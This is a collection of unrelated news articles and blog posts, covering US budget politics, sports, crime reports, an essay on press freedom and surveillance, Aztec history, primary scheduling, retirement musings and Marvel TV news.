-CBO Director Doug Elmendorf (Alex Wong/GETTY Images)  Even before Republicans won full control of Congress, there was a lot of scary talk from liberals about the damage Republicans might do to that nonpartisan mediator, the Congressional Budget Office. The director's job will be open in January, and speculation has been rampant about which far-right economist the GOP chairmen of the House and Senate Budget committees might seek to install to do their nefarious bidding.  Over the past few days, some heavy-hitters in conservative circles have made their choice clear: Republicans should keep Doug Elmendorf, the current CBO director. A guy appointed by Democrats.  Why? Because Elmendorf has been scrupulously impartial, they argue, and unafraid to cut the knees out from under some illegitimate liberal ideas. A Democratic appointee willing to trash stupid Democratic policies, they argue, is a potent weapon that Republicans should think twice about casting aside.  The cavalcade of conservative accolades for Elmendorf kicked off over the weekend with a blog post from Greg Mankiw, the chairman of the Harvard economics department and a former adviser to both president George W. Bush and GOP presidential candidate Mitt Romney. More followed, from Alan Viard, a Bush White House economist now at the American Enterprise Institute; author Charles Murray via Twitter; AEI scholar Michael R. Strain, writing in the National Review Online; and Keith Hennessey, a senior Bush economic adviser who now lectures at the Stanford Graduate School of Business.  While Mankiw and Viard stressed Elmendorf's integrity and impartiality (Mankiw called him a "superb economist"), Hennessey made the most pointed political argument for keeping Elmendorf in a Wednesday blog post:  Dr. Elmendorf is the best pick for CBO because (a) he is unbiased and intellectually honest; (b) his background insulates his rulings and the Congressional Republicans who choose to reappoint him from accusations of bias; and, most importantly, (c) this combination greatly disadvantages the progressive Left who both dominate current economic debate within the Democratic party and who cannot refrain from intellectual overreach....  Over the past few years an Elmendorf-led CBO has weakened a few key support pillars of the Left’s big government intellectual edifice, not because Elmendorf leans right but because the Left is dominant and nuts and their most outrageous arguments just beg to be debunked by a neutral referee.  Hennessey gave several examples of CBO analyses under Elmendorf that have served to undermine pernicious lefty ideas. When "Team Obama" insisted that an increase in the minimum wage to $10.10 an hour would "benefit millions and harm no one," Hennessey wrote, "CBO destroyed this claim, pointing out that the President’s favored policy would reduce the labor supply by about half a million workers." In turn:  "The press repeatedly wrote that 'the nonpartisan CBO' said the President’s minimum wage increase would reduce the labor supply by half a million workers.' We won those debates in part thanks to an assist from a CBO that was and was described as unbiased and nonpartisan."  Other examples: CBO concluded that the Affordable Care Act would cause people to work fewer hours, an assertion that "would have been dismissed or caveated by many (most?) of the press" if CBO had been under the control of "Congressional Republicans and their hand-picked conservative CBO Director," as Hennessey put it. "The identical conclusions from a director chosen by Republicans would have had far less impact on the public debate."  And Hennessey offered more evidence of Elmendorf's sensible thinking:  Under Elmendorf, CBO said that increasing marginal tax rates dampens economic growth because it reduces incentives to work, save, and invest. Elmendorf’s CBO said that transfer payments reduce work incentives and shrink the labor force. In contrast to President Obama and Dr. Krugman, Elmendorf’s CBO warned that high and rising debt levels will lower future income, increase pressure for higher taxes or less defense spending, and increase the risk of a fiscal crisis at some uncertain future date. In contrast to the Piketty Fan Club, CBO’s distributional analysis showed that the burden of financing government is even more distributed toward the high end than is income, and they integrated into their analysis the effects of both taxes and transfer payments.  These are powerful truths, he wrote, that could help advance Republican economic policies if only lawmakers would "actually read what CBO writes" and learn to use Elmendorf's frequent appearances in Hill hearings to "highlight the ways in which left-wing dogma contradicts straight-up-the-middle economic analysis."  Initial indications are Republicans may not heed this advice. Incoming House Budget Committee chairman Tom Price (R-Ga.) gets to make the call on the CBO director this year, with advice from the Senate Budget Committee chairman. Price has declined to comment. In a recent interview, one of two Republicans up for the Senate budget post, Sen. Jeff Sessions (R-Ala.), suggested that folks on his side of the Capitol, anyway, may be inclined to put their own stamp on the agency.  Elmendorf was chosen six years ago by then House Budget Committee chairman John Spratt (D-S.C.) and reappointed four years ago by then Senate Budget Committee chairman Kent Conrad (D-N.D.). If nothing else, he can take solace in the fact that everybody seems to love the job he's done during enormously trying times. Even before conservatives began weighing in, former White House budget chief Peter Orszag (himself a former CBO director) urged Republicans not to appoint a "party hack" to the CBO director's chair -- and to keep Elmendorf on the job.
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-The Roar has heard reports that Cronulla’s NSW Origin forward Andrew Fifita – who is currently serving a suspension from the NRL – is about to walk away from his NRL contract, to play for Tonga at the upcoming Rugby World Cup.  The Roar spoke with the Sharks this morning, and Andrew and his brother David, also serving a suspension, were both present at training.  When questioned on Triple M on Friday morning, Sharks captain Paul Gallen said that the rumour was new information to him.  Facebook Twitter Whatsapp Reddit Email Share  “I’d imagine if that was true the club would have something to say about it. If he’s under contract they would want some sort of compensation if they were ever going to let him go,” Gallen said.  The Roar understands that Fifita, who has had a rocky couple of years in the NRL following a number of controversial incidents – including the latest one at a junior rugby league game for which he was publicly castigated and suspended – wants to put himself in the ‘shop window’ to pick up a lucrative rugby contract in Europe.  What better way to do that than to turn out for his native Tonga at the World Cup.  It’s believed that Tonga will play Fifita at 12 and transition him in a similar way to recent NRL converts Ben Te’o and Sam Burgess.  Fifita played rugby as a junior, and also flirted with the idea of a code switch in 2013.  In the end, Fifita had to remain with the Sharks after signing a deal to go to the Canterbury Bulldogs that was eventually torn up.  Advertisement  Advertisement  At the time of the contract being torn up, Fifita said he wished he had taken up the offer to play the 15-man game.  “If I could go back now, I wish I chose rugby and then I wouldn’t be getting all the sh*t I’ve been catching now,” Fifita said early last year.  The Roar has heard reports a deal is currently being worked on. Watch this space for more updates.
-Edward Davidson, who was known as the "spam king" (although the moniker has been given to nearly every spammer who has ever been caught) has been found dead in Colorado, along with his wife and 3-year-old child, apparently in a murder-suicide. Another child approximately 7 months old was found unhurt, and a teenage daughter had been shot in the neck with a bullet but managed to run away.  Davidson had escaped from a minimum-security facility on Sunday – essentially a work camp – allegedly with help from his wife.  Authorities estimate Davidson made at least $3.5 million from spamming activities conducted by his company Power Promoters between 2003 and 2006. He'd been sentenced in April to 21 months in prison for tax evasion and falsifying e-mail headers on spam advertising low-cost high-risk penny stocks that he sent out on behalf of an unnamed Houston company. He'd also been ordered to pay $714,139 to the Internal Revenue Service.
-Man dies after lightning strikes family, including newborn and toddler, on Gold Coast  Updated  A man has died after being struck by lightning while leaving a polling station with his family on the Gold Coast.  The man aged in his 30s and his family - a woman, a baby aged 12 weeks and a boy aged 18 months - were sheltering from an electrical storm in a park near Worongary State School on Delta Cove Drive just before 4pm when they were hit.  The school was being used as a polling booth for the state election, situated in the seat of Gaven.  Paramedics attended to the man at the scene before he was taken to Gold Coast University Hospital in a critical condition.  He died about 7pm.  The woman and children were still in hospital in a stable condition with minor injuries.  Queensland Ambulance Service acting senior operations supervisor Stuart Cutajar said the family had been to the state school to vote and were walking home through a park when the storm struck.  They took shelter under an awning in the park which was struck by lightning.  "There's evidence of the shelter having taken a lightning strike," Mr Cutajar said.  The man then collapsed to the ground, not breathing.  Paramedics responded and commenced CPR as all four were taken to hospital.  The 18-month-old was unconscious and not breathing but regained consciousness before being taken to hospital.  The Bureau of Meteorology's (BoM), meanwhile, has cancelled its severe thunderstorm warning.  Much of south-east Queensland, particularly the Gold Coast, Brisbane and surrounding areas, were battered by storms from about 3.30pm.  Electoral Commission Queensland spokeswoman Carrick Brough said the severe storms could delay the count in some areas.  "It may delay the count, if we don't have power then obviously we can't count through the night so obviously we're looking at alternative arrangements now, transferring the ballot boxes to other polling booths with power and counting them there, things like that," Ms Brough said.  Energex reported about 10,000 properties in Brisbane and on the Gold Coast were without electricity at 10:00pm.  The electricity provider also said there were about 1,500 lightning strikes across the network in the hour to 6pm.  Topics: storm-event, coolangatta-4225, southport-4215  First posted
-Stephen Lendman  Activist Post  America’s First Amendment affirms it. So does Article 19 of the Universal Declaration of Human Rights.  It states “(e)veryone has the right to freedom of opinion and expression; this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media and regardless of frontiers.”  In December 1993, the UN General Assembly declared May 3 World Press Freedom Day. Following the recommendation of UNESCO’s General Conference, it did so to:  celebrate the fundamental principles of press freedom; assess the state of press freedom throughout the world; defend the media from attacks on their independence; (and) pay tribute to journalists who have lost their lives in the line of duty.  From April 30 to May 3, 1991, UNESCO’s “Promoting an Independent and Pluralistic African Press” seminar issued a Declaration of Windhoek. It called for “protecting fundamental free expression principles.” They’re fragile and threatened, even in so-called democratic societies. Journalist AJ Liebling (1904 – 1963) once said “Freedom of the press is guaranteed only to those who own one.” Conditions are much worse today than decades earlier.  At issue is repressive police state legislation. HR 3523: Cyber Intelligence Sharing and Protection Act (CISPA) provides the latest example. It’s more about destroying personal freedom than cybersecurity.  It reveals the hypocrisy of a May 3 State Department statement, saying in part:  On World Press Freedom Day—and every day—the United States honors and supports media freedom at home and abroad. Press freedom is a key element of the freedom of expression, which is a foundation for other universal human rights. We call on all governments to protect the universal human right to freedom of expression.  Calling on its own would be a good place to start.  In recent years, journalists exposing sensitive truths and whistleblowers have been targeted. Obama’s Justice Department used the 1917 Espionage Act to prosecute a record six whistleblowers for revealing what everyone needs to know. Doing so exceeded all previous administrations combined.  The Espionage Act was enacted during WW I. It was about interfering with military operations, supporting enemies, promoting insubordination in the ranks, or challenging military recruitment.  In Schenck v. United States (1919), the Supreme Court ruled that free speech of those convicted under its provisions weren’t violated. Thereafter, the law’s constitutionality was repeatedly challenged.  In Brandenburg v. Ohio (1969), the Supreme Court ruled government can’t punish inflammatory speech unless directed to incite lawless action.  In Texas v. Johnson (a 1989 flag burning case), Justice William Brennan wrote the majority opinion, saying:  (I)f there is a bedrock principle underlying the First Amendment, it is that government may not prohibit the expression of an idea simply because society finds the idea offensive or disagreeable.  Other challenges won and lost. Winning today is harder than ever. Free expression in America’s on the chopping block for elimination. Without it all other rights are jeopardized.  Whistleblowers like Bradley Manning exposed war crimes. Soldiers and witnesses are obligated to do so. Others revealed CIA torture, NSA warrantless wiretapping, and other constitutional violations. Doing so is heroic, not criminal.  Justice Hugo Black once said: “Only a free and unrestrained press can effectively expose deception in government.” America fails the test.  A US grand jury reportedly continues investigating alleged WikiLeaks Espionage Act violations. Revealing vital truths is constitutionally protected speech. Investigative journalists do the same thing.  Former State Department spokesman PJ Crowley said investigating WikiLeaks undermines Washington’s credibility to pressure other countries to address press freedom.  In recent years, anyone publicly supporting WikiLeaks, Bradley Manning, or other whistleblowers risks harassment when traveling. Police state tactics confront them. They include strip searches, confiscation of laptops, cellphones and cameras, and arrests.  Dual US/French citizen Pascal Abidor was targeted. In 2011, traveling from Montreal to New York on Amtrak, he was confronted at the border, questioned, handcuffed, taken off the train, and kept behind bars for hours before being released. His laptop was also seized, kept 11 days and searched before being returned. Many others face similar treatment.  At the same time the State Department piously “advocates for freedom of expression,” it’s egregiously violated at home and abroad.  Download Your First Issue Free! Do You Want to Learn How to Become Financially Independent, Make a Living Without a Traditional Job & Finally Live Free?  Download Your Free Copy of Counter Markets  On March 16, ABC News reported that Obama officials pressured the Yemeni government to keep journalist Abd al-Ilah Al-Shai’i behind bars “for alleged terrorist ties.”  At issue is heroic investigative journalism. Al-Shai’i revealed civilian deaths and injuries from US drone attacks. Washington wants them suppressed.  Dozens of journalists covering Occupy Wall Street demonstrations have been harassed, assaulted and arrested from New York to San Francisco. Societies committing these offenses aren’t free. One abuse follows another. Freedom’s eventually lost. America is racing toward it. Bipartisan complicity backs it.  America a Total Surveillance Society  Post-9/11, spying on ordinary Americans became policy. Telecommunication companies cooperate. Phone calls, emails, and other communications are monitored.  In 2005, it was learned that the National Security Agency (NSA) lawlessly intercepts phone calls and Internet communications. AT&T actively cooperates without informing customers. Privacy rights are violated.  In October 2001, George Bush issued a secret presidential order. It’s in force today. It authorized warrantless NSA surveillance without statutory or court authorization.  Doing so violates the 1978 Foreign Intelligence Surveillance Act (FISA). It covers prescribed surveillance procedures relating to “foreign intelligence information” between “foreign powers” and “agents of foreign powers.”  It restricts surveillance of US citizens and residents to those engaged in espionage in America and territory under US control. No longer. AT&T and other telecommunication companies work cooperatively with Washington.  Millions of customers are monitored. Sophisticated data-mining follows. Everyone potentially is vulnerable. Few know what’s going on. Many fewer protest against it.  On May 2, the Electronic Frontier Foundation (EFF) headlined, “Time to Make Warrantless Home Video Surveillance Extinct,” saying:  Post-9/11, warrantless spying became policy. Even secret videotaping monitor people at home. On May Day, EFF submitted an amicus curiae brief in the US Court of Appeals for the Ninth Circuit. It relates to United States of America v. Ricky S. Wahchumwah  American Natural Superfood - Free Sample EFF challenged lawless warrantless home video surveillance. It violates Fourth Amendment rights. It states: The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.” Wahchumwah’s Fourth Amendment rights were violated. An undercover US Fish and Wildlife Service agent secretly recorded information inside his home on a concealed video camera in his clothes. Wahchumwah was charged with violating the Bald and Golden Eagle Protection Act and Lacey Act for allegedly selling bald and gold eagle feathers. He moved to disallow lawlessly obtained video information. His motion was denied. He appealed. EFF supports him. In United States v. Jones (January 2012), the Supreme Court ruled the Fourth Amendment prohibits using warrantless GPS surveillance to monitor a person’s car on public roads for 28 days. The decision applies to video surveillance at home. Wahchumwah let the agent enter his home. He didn’t agree to videotaping, especially doing it secretly. EFF said “intensive video surveillance” previously “was reserved for serious, violent crimes.” Now it’s possible for any reason targeting anyone, including secretly at home. A Final Comment A 2008 ACLU report titled “American Surveillance Society” said: Post-9/11, mass surveillance became policy. Ordinary Americans are watched intrusively. Their ‘telephone calls and e-mails, web browsing records, financial records, credit reports, and library records’ are monitored. ‘(P)eaceful political and religious activities’ are watched. Everyone is swept up in national dragnet to monitor virtually everything about everyone secretly ‘with little or no oversight by the courts, Congress, or the public.’ Big brother arrived with electronic ease. Constitutional rights are violated. Freedom is slipping away fast. A 2003 ACLU report said “Big Brother is No Longer a Fiction.” America is a “total surveillance society.” Today everyone is unprotected. Washington takes full advantage. Surveillance grows like a “monster.” Unknowingly, ordinary people are lawlessly targeted. Unchecked government power threatens freedom. In America, it’s perilously close to life support. Stephen Lendman lives in Chicago and can be reached at [email protected] His new book is titled How Wall Street Fleeces America: Privatized Banking, Government Collusion and Class War Also visit his blog site at sjlendman.blogspot.com and listen to cutting-edge discussions with distinguished guests on the Progressive Radio News Hour on the Progressive Radio Network Thursdays at 10AM US Central time and Saturdays and Sundays at noon. All programs are archived for easy listening. http://www.progressiveradionetwork.com/the-progressive-news-hour/ var linkwithin_site_id = 557381; linkwithin_text=’Related Articles:’
-Jaguar warriors or jaguar knights, ocēlōtl Nahuatl pronunciation: [oˈseːloːt͡ɬ] () (singular)[1] or ocēlōmeh [oseːˈloːmeʔ] (plural)[1] were members of the Aztec military elite.[2] They were a type of Aztec warrior called a cuāuhocēlōtl [kʷaːwoˈseːloːt͡ɬ].[3] The word cuāuhocēlōtl derives from the eagle warrior cuāuhtli [ˈkʷaːwt͡ɬi] and the Jaguar Warrior ocēlōtl.[3] They were an elite military unit similar to the eagle warriors.  The jaguar motif was used due to the belief the jaguar represented Tezcatlipoca. Aztecs also wore this dress at war because they believed the animal's strengths would be given to them during battles.[citation needed] Jaguar warriors were used at the battlefront in military campaigns. They were also used to capture prisoners for sacrifice to the Aztec gods.[2] Many statues and images (in pre-Columbian and post-Columbian codices) of these warriors have survived.[4] They fought with a wooden sword studded with obsidian volcanic glass blades, called a macuahuitl. They also used spears and atlatls.  To become a jaguar warrior, a member of the Aztec army had to capture a total of four enemies from battles.[5] This was said to honor their gods in a way far greater than killing enemy soldiers in the battlefield. For a warrior to kill an enemy was considered clumsy.  Education [ edit ]  The formal education of the Aztecs was to train and teach young boys how to function in their society as warriors. The Aztecs had no standing army, so every boy not of noble birth was trained to become a warrior. All boys who were between the ages of ten and twenty years old would attend one of the two schools. These two schools were the Telpochcalli (the neighborhood school for commoners) and the Calmecac, the exclusive school for nobles.[6] At the Telpochcalli students would learn the art of warfare, and would become warriors. At the Calmecac students would be trained to become military leaders, priests, government officials, etc. Trades such as farming and artisan skills were not taught at these schools.  At the age of 15, sons of commoners would be sent to a Telpochcalli within their neighborhood. Here, boys would be trained in the art of warfare and accustomed to military life. The instructors at these schools were veteran warriors who had experience in warfare and leadership. The schools focused on bravery and included a great deal of physical effort and intense pain to increase the strength and stamina of the students. Manual labor included transporting goods such as branches for firewood. The longer the student had attended the school, the more branches he would be expected to carry. This test of carrying firewood would be used to determine if the boy would do well in warfare.  Other manual labor tasks carried out from the Tepochcalli would be community projects. These projects would mainly consist of cleaning areas, building walls, digging canals, and farming. From these projects students would work hard to complete tasks, and gain physical experience needed to engage in warfare. The students of this school would also be used to transport shields, food, military supplies, weapons, armor, and wood to warriors on the battlefield. The reason for forcing the students to be near the battlefield was to make them fearless of warfare. Students were under heavy surveillance at all times. If a student was caught leaving training their punishment would be severe. Often, they would be beaten and their hair removed. By removing their hair they would remove any sign of them being a warrior. Drinking pulque was prohibited; if caught, the student could be beaten to death. Relationships outside of the school were also prohibited; if a student was caught sleeping with a woman, they would be beaten to death.  Life as a jaguar warrior [ edit ]  Following the warrior's path was one of the few ways to change one's social status in Aztec culture. Eagle and Jaguar warriors were full-time warriors who worked for the city-state to protect merchants and the city itself. They were expected to be leaders and commanders both on and off the battlefield, and acted as sort of a police force for the city. Men who reached this rank were considered as nobles and elites of society, and were granted many of the same privileges as a noble. They were allowed to drink pulque, have concubines, and dine at the royal palace. Jaguar warriors also participated in gladiatorial sacrifices.  Gladiatorial sacrifice [ edit ]  The gladiatorial sacrifice was a giant spectacle the entire city would attend. The captives would be paraded in the streets followed by eagle and jaguar warriors to the sacrifice stone. The eagle and jaguar warriors would dance around the captives and display their shields and weapons to the crowds. Once they brought the captives to the sacrifice stone, they would be tied down to it to be ceremonially killed. The captives would be forced to drink pulque to intoxicate them. They would be painted and given a sword and a shield along with four cudgels to throw. The warriors would then attack the victim who was tied down to the sacrifice stone with an obsidian laced club. The club would be used for ceremonial use and would be decorated with feathers. He would be attacked by several warriors one at a time and then, if still alive, would be attacked by all four together. The warriors which fought during the gladiatorial sacrifice would be eagle and jaguar warriors. If the captive fought off all of them, he would then have to defend himself against a left handed warrior. If captives were not killed this way, then they would be killed the following day by the offering priests. The gladiatorial sacrifice was done as a ceremony, for the return of warriors with their captives. The gladiatorial sacrifices were held during the month of the Feast of the Flaying of Men.  See also [ edit ]  References [ edit ]
-Bill Mannix / The scene of this reported shooting at the Myrtle Beach Mall on Jan. 8, 2015.  A 78-year-old Little River woman was shot and killed Friday afternoon at the Myrtle Beach Mall one day before her birthday, according to Tamara Willard with the Horry County Coroner's Office.  Frances Mae Davis, who went by May, was shot just after noon on Friday, Jan. 8, Willard said.  Davis was found around 12:15 p.m. by her daughter, slumped over in the passenger seat of a car, according to Lt. Raul Denis, with Horry County police. She died at around 1 p.m. at Grand Strand Hospital.  The daughter had briefly gone in to the mall, Denis said.  Luther Wells, Davis' son-in-law, said that his wife was shopping for Davis' birthday, which is tomorrow, but Davis was tired and was waiting in the car.  Wells said when his wife got to the car, she found her mother slumped over and blood in the car. He said she was shot in the neck and that her purse was missing.  Denis said they have secured the car she was in and are investigating.  He added that so far there are no witnesses or suspects. Detectives are working with mall officials to obtain any surveillance footage.  Denis said that the public shouldn't be concerned for their safety and that this was an isolated incident.  Davis was the mother of three children and had five grandchildren and seven great-grand children, Willard said.  Police are asking anyone with information to call the Tip Line at 843-915-8477 (843-915-TIPS).
-MANILA, Philippines – Five more persons suspected of involvement in the illegal drug trade were killed in separate incidents across the country in the past two days, three of them by suspected vigilantes.  Esperdio Blaza, 30, a resident of Barangay Mudeng in La Paz, Abra, was driving his motorcycle on his way to Bangued when unidentified motorcycle-riding men fired at him yesterday morning.  The La Paz police said Blaza was on their drug watchlist.  In Butuan City, graphic artist Karl Torredes, 32, was gunned down near his shop in Barangay Diego Silang on Monday.  Senior Inspector Paul Padin said the fatality was charged with violation of the Comprehensive Dangerous Drugs Act for allegedly selling shabu.  In Bulacan, Alvino Lucino was walking near his house in Barangay Patubig in Marilao town on Monday when he was shot. A placard identifying him as a pusher was found near his body.  Regie Gonzales reportedly shot it out with police operatives in Barangay 4 in Tanauan City, Batangas at around 5:45 a.m. yesterday.  A caliber .45 pistol and five sachets of shabu were allegedly recovered from the fatality.  In Laguna, Rudy Panlague, 40, alias Rudy, drew his gun when he sensed that he had sold shabu to undercover agents in Barangay Poblacion in San Pedro City on Monday night, said Superintendent Chitadel Gaoiran, Calabarzon (Cavite, Laguna, Batangas, Rizal, Quezon) police spokesperson.  ‘High-value’ drug pushers  Meanwhile, Michael Serna, 34; Jieson Gaoat, 38, and Redentor Carillo, 49, were arrested in stings in Barangay Pug-os in Cabugao, Ilocos Sur; Poblacion, Sta. Maria and Laoag, Ilocos Norte, respectively, on Monday.  The suspects are “high-value” drug pushers in the Ilocos region, police said.  Also on Monday in Camarines Sur, Richard Bandin, 33, was nabbed in Barangay San Roque in Pili town and Kier Payra in Barangay Talojongon, in Virac.  The suspects are on the drug watchlist of the police in their respective areas.  In Rizal, police said 13 drug suspects did not resist arrest in simultaneous raids on Barangays Wawa, Pinagkamaligan, Tandang Kutyo and Kay Buto in Tanay town.  Two others caught sniffing shabu were collared in Baragay San Jose in Rodriguez, Rizal. – Artemio Dumlao, Ric Sapnu, Ben Serrano, Celso Amo, Raymund Catindig, Non Alquitran, Ed Amoroso
-In past presidential elections, states have fought to move their primaries earlier and earlier, hoping to have a greater influence on the nomination process. But with new scheduling rules on the GOP side ahead of a wide-open race in 2016, some Southern states are trying a different strategy: joining forces.  Georgia Secretary of State Brian Kemp is moving forward with a plan to coordinate the state’s 2016 presidential primary with five other states—Alabama, Arkansas, Louisiana, Mississippi, and Tennessee—in an effort to give national Republicans’ bedrock region more say in whom their party (and Democrats, too) nominates to run for the White House.  “It’s an opportunity to have a great deal of say about who the nominee is. I think having South Carolina and a Southern regional primary back-to-back, or in close proximity, is a pretty big one-two punch,” said Randy Evans, a Republican National Committee committeeman from Georgia who served as a senior adviser to Newt Gingrich’s 2012 presidential campaign.  In recent elections, some states ignored the wishes of party leaders and set their presidential primaries earlier in the year to compete with traditional early-voting states like Iowa, New Hampshire, South Carolina, and Nevada for clout. In 2012, for instance, Florida scheduled its primary for Jan. 31, forcing Iowa to move its caucuses all the way up to Jan. 3.  As a result, though, the RNC stripped Florida of half of its delegates. And if a state tries a similar move in 2016, the punishment will be much harsher. Depending on the size of the state, its delegates would either be reduced to nine or one-third of its total delegation, according to new rules the RNC approved at the beginning of the year.  “Somebody would be really foolish to break the rules now,” Kemp said. For him, that meant finding a new way to work within the rules to amplify Georgia’s influence on choosing the next president.  Last week, Kemp told the five other secretaries of state he’s working with in establishing a so-called “SEC” regional primary (named after the powerhouse college sports conference) that he intends to schedule Georgia’s presidential primary for March 1, 2016—an authority he was granted by the state Legislature in 2011. Tennessee has already set March 1 as its primary day, while the other four states still need to act through their respective legislatures to do the same. Primaries in Alabama, Louisiana and Mississippi are currently slated for later in March, while Arkansas’s is set for May.  Two other Southern states, Texas and Florida, are already planning to hold their primaries March 1. This is the earliest date anyone outside the usual four early-voting states can hold its presidential primary in 2016 without penalty under the new RNC rules. However, a state that sets its primary during the first two weeks of March must award its delegates to candidates proportionally, as opposed to a winner-take-all system, meaning there is still a benefit for states that choose to hold their primaries later on in the cycle.  “It definitely plays to the weaker candidates’ benefit for a bunch of states to go load up and go during the period of time that’s proportional,” one Southern GOP strategist says. “It seems like the South could make a much bigger statement if it went on March 15.”  But Kemp and his allies ultimately decided that bringing together a group of states that have been largely ignored in recent nomination battles and holding a primary as early as possible is the best way to get the attention of White House hopefuls.  “The next president of the United States—Democrat or Republican—will have come and debated the issues here and spoken to our people about the things we think are important, and we’ll have a bigger voice,” said Mississippi Secretary of State Delbert Hosemann.  Even if Kemp’s plan goes through, that cohort of Southern states may not have March 1 all to themselves. Kemp acknowledged that if other states outside of the South decide to set their primaries for March 1, it could blunt the impact of his plan. By bringing a coalition of states together this early, he hopes that he can deter others from doing so.  There’s also no guarantee the region will speak with one voice. Appalachian State University political science professor Josh Putnam, who writes the election-calendar-focused blog FrontloadingHQ, noted that Democrats attempted a similar strategy in 1988, when nearly all the Southern states held their primary on the same day in March in hopes of providing a boost to a more conservative candidate. But instead of coalescing around one contender, the Southern states split their votes among three candidates: Michael Dukakis, Al Gore, and Jesse Jackson.  “That does serve as something of a cautionary tale for what Republicans across the South are seeking to do in 2016,” Putnam said. “They’re seeking to have a similar level of influence, but the ‘88 example points out the possibility of unintended consequences popping up.”  Either way, Kemp said he intends to further discuss the plan at a February meeting of the National Association of Secretaries of State meeting in Washington.
-{Queens Theatre in Queens NY}  I have been thinking about retirement. Not because I am ready to retire but more as one who daydreams about her summer vacation. In my retirement scenario I am healthy and have plenty of money and time to indulge my desire to write, learn to make homemade pasta...in Italy or hike the Appalachian Trail at my leisure. These fanciful day trips to the future have made me aware of two things about myself and others.  First, I don't want to stop working. I enjoy my work. I enjoy the people I work with and enjoy the creative challenge that comes from working with a team. I just want to have more freedom to pick and choose when and how much I work. I have a friend who spent 30 years working with a water treatment company and he is now looking at retiring. Do you know what he wants to do when he retires? He wants to go to Africa and help communities that do not have clean water establish water treatment facilities. He likes his work, he wants to help others and he wants to see another part of the world. His vision is not of a gold watch and 18 holes of golf but of staying active and making a difference in the world.  My second retirement revelation is the desire to stop letting money dictate my choices. No, I am not independently wealthy and don't expect a huge windfall in my lifetime but I also don't want the race for the paycheck to be the only consideration for the choices I make as I age. I am saving money for a future that may look different than today. Kathy at smartliving365 shows how "right sizing" your life can save you real dollars and allows you more freedom to pursue other interests. I found her discussion meaningful because Kathy and her husband not only cut expenses but in the process of right sizing was able to align their life more closely to their values. It was a win-win all around.  As I talk to my friends and colleagues, I understand that retirement means something very different to us than it did to the previous generation. Many of us want to continue to work, others want to give back to their communities and the world while some want to follow long delayed dreams. What does retirement mean to you? When you take your fanciful day trips to the future, what do you see?  Hugs,  C
-Welcome!  My Plates’ Auctions offer Texans a unique opportunity to purchase a coveted selection of reserved and sometimes never before released plate messages.  My Plates was given authority by the Texas legislature to auction these types of plate messages to help raise money for the Texas General Revenue Fund, which helps pay for services for all Texans.  Auction plate messages are highly sought-after and attract a great deal of attention from the media and public alike.  To receive updates about all of our auction events, sign up for our periodic newsletter - PL8 NEWS. In addition to providing you with the latest information on My Plates' auctions, PL8 NEWS will give you exclusive offers and keep you informed about new plate designs, plate releases, events, surveys, stories, and more.
-Gurtej Randhawa in a police mugshot. National Crime Agency  A 19-year-old tried to buy a car bomb on the dark web, but police intercepted his order and gave him a dummy instead.  Gurtej Randhawa, from Wolverhampton in the West Midlands, tried to buy a remote-controlled explosive and planned to kill people with it.  Randhawa admitted the attempt in court this week, and now faces life in prison.  According to a press release from the UK National Crime Agency, its officers noticed Randhawa's attempts to order the package earlier this year.  They did not disclose his motive, but said it was not linked to terrorism.  Randhawa made the purchase via the dark web, a difficult-to-navigate network of sites which is inaccessible without special software.  It is often used by criminals to trade in illicit goods.  Police said the device, which could be fixed to a car and detonated from a distance, "had the potential to cause serious damage and kill many people."  However, officers intercepted the package and replaced it with an inert dummy device, which they allowed to be delivered to Randhawa in May.  They watched him testing the dud, at which point they arrested him.  Randhawa pleaded guilty to trying to illegally import explosives, and was found guilty of possessing explosives "with intent to endanger life" after a trial at Birmingham Crown Court.  He will be sentenced at a later hearing on January 12, where he could be given life in prison.
-0  Wherever this article finds you within your binging of Marvel’s Jessica Jones on Netflix, part of you might be wondering just where all the news is for one of the comic book company’s other Defenders, Iron Fist. The last time we reported on any news out of the Living Weapon’s camp, it was to lump it together with the loose schedule of Marvel’s other TV series. When Krysten Ritter was announced as Jessica Jones, with Mike Colter set to play Luke cage on Jessica Jones before starring in his own series, fans were left wondering if Iron Fist was still in the works at all.  Thanks to an interview with Marvel Television chief Jeph Loeb, CBR got some good intel on why the TV production wing has kept quiet on Iron Fist and when fans might see their first solid news about the series. While it is still some time away – Jessica Jones just debuted today and we have a full Luke Cage series to look forward to in addition to the second season of Daredevil – Iron Fist provides the last necessary piece of the puzzle that will be Marvel TV’s Defenders series.  So even though there was a rumor that Iron Fist was being scrapped/shelved/delayed, or what have you, simply because things were quiet on the news front, Loeb confirms that this is not the case:  “There was a lot of speculation about what was going on with ‘Iron Fist,’ because [fans] hadn’t heard anything about it, but there’s never been any change at all.”  In fact, when asked if fans can expect to see some casting announcements or other hard news sometime soon, Loeb said:  “The short answer is, ‘Yes, there’ll be news.”  While that news certainly comes as, well, good news, it’d be better if we had a bit of an explanation as to why things have been quiet to begin with. Loeb provides one:  “We knew exactly what we were doing at Marvel and at Netflix. Let’s get [‘Jessica Jones’] out there, everybody knows that ‘Luke Cage’ is up and going. What I can say right now is we’re very excited about ‘Iron Fist.'”  This all makes sense because, unlike major motion pictures, Marvel’s TV series have relatively much smaller budgets and a much smaller marketing window. With Netflix releasing all episodes of a series/season at once, it’s conceivable that most viewers will consume the whole thing during its opening weekend. After that, it’s onto the next big thing.  I actually like that they’ve managed to carve out sections of the calendar that are dedicated in majority to whatever their next project is rather than the one that’s coming after. The best news to take away from all of Loeb’s quotes is this: Iron Fist is coming, and soon we’ll know who’ll be bringing Danny Rand to life.
